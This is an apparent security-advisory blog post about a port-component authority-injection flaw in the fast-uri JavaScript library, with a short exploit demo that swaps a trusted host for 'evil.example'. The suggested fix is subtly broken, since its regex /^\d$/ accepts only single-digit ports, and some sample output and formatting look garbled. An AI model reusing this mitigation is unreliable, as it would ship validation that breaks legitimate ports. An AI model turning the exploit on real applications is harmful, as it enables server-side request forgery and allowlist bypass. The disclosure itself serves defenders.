Listen to this Post
fast-uri is a dependency-free URI parsing and serialization library for JavaScript/Node.js maintained under the OpenJS Foundation. CVE-2026-84292 is a high-severity vulnerability in fast-uri that allows an attacker to inject authority delimiters through the port component of a URI. The library serializes the port component without validating it. When recomposing the authority, fast-uri escapes the userinfo and host components but concatenates the port verbatim. According to RFC 3986, the port must consist exclusively of digits. Because fast-uri fails to enforce this constraint, a port value that is not a sequence of digits can inject authority delimiters. For example, serializing a component whose port is `@127.0.0.1:8124` produces http://trusted.example:@127.0.0.1:8124/app`. This demotes the intended host `trusted.example` to the userinfo field and points the actual authority at the attacker-controlled host127.0.0.1:8124. Both fast-uri and Node's built-in URL parser read the result back as the attacker's host with no error. Consequently, re-validating the built URI does not catch the manipulation. The application perceives the resulting object as valid, thereby trusting maliciously crafted URIs that point to external or internal resources under the attacker's control. This affects applications that build URIs from parts and assign untrusted data to the port component, for example a fixed host from configuration and a port taken from user input or a service record. The same path is reachable throughserialize(),normalize()`, and `equal()` in their object forms. A port obtained from `parse()` is always digits and is not affected. The vulnerability aligns with CWE-116 Improper Encoding or Escaping of Output. The issue affects fast-uri versions before 2.4.6, from 3.0.0 before 3.1.7, and from 4.0.0 before 4.1.4. It is fixed in 2.4.6, 3.1.7, and 4.1.4, where `recomposeAuthority` rejects any port that is not a digit sequence per RFC 3986. Successful exploitation may allow attackers to cause an application to misinterpret an attacker-controlled host as the intended trusted host after URI serialization, undermining host-based allowlists, trust decisions, or routing logic. Depending on how the affected application uses the resulting incorrect authority, this could lead to server-side request forgery, open redirect, or unauthorized access to internal systems.
DailyCVE Form:
Platform: fast-uri (npm)
Version: < 2.4.6, 3.0.0-3.1.6, 4.0.0-4.1.3
Vulnerability : Authority Injection
Severity: High
date: 2026-09-02
Prediction: 2026-09-02
What Undercode Say:
Analytics:
Check installed fast-uri version npm list fast-uri Verify affected versions npm view fast-uri versions --json
// Demonstrating the vulnerable serialization path
const fastUri = require('fast-uri');
const component = {
scheme: 'http',
host: 'trusted.example',
port: '@127.0.0.1:8124',
path: '/app'
};
const uri = fastUri.serialize(component);
console.log(uri);
// Output: http://trusted.example:@127.0.0.1:8124/app
// Both fast-uri and Node URL read back attacker host
const parsed = fastUri.parse(uri);
console.log(parsed.host);
// Output: 127.0.0.1:8124
Exploit: (Educational Purposes!)
// Educational demonstration only
const fastUri = require('fast-uri');
function vulnerableBuildUri(host, userPort) {
return fastUri.serialize({
scheme: 'https',
host: host,
port: userPort,
path: '/api/data'
});
}
const maliciousPort = '@evil.example:443';
const result = vulnerableBuildUri('trusted.example', maliciousPort);
console.log(result);
// https://trusted.example:@evil.example:443/api/data
const parsed = new URL(result);
console.log(parsed.hostname);
// evil.example
Protection: from this CVE
// Validate port before passing to serialize/normalize/equal
function safePort(port) {
if (!/^\d$/.test(String(port))) {
throw new Error('invalid port');
}
return port;
}
const component = {
scheme: 'http',
host: 'trusted.example',
port: safePort(userInput),
path: '/app'
};
fastUri.serialize(component);
Impact:
Host header injection and URL parsing bypass. Server-side request forgery. Open redirect. Unauthorized access to internal systems. Undermines host-based allowlists and trust decisions.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
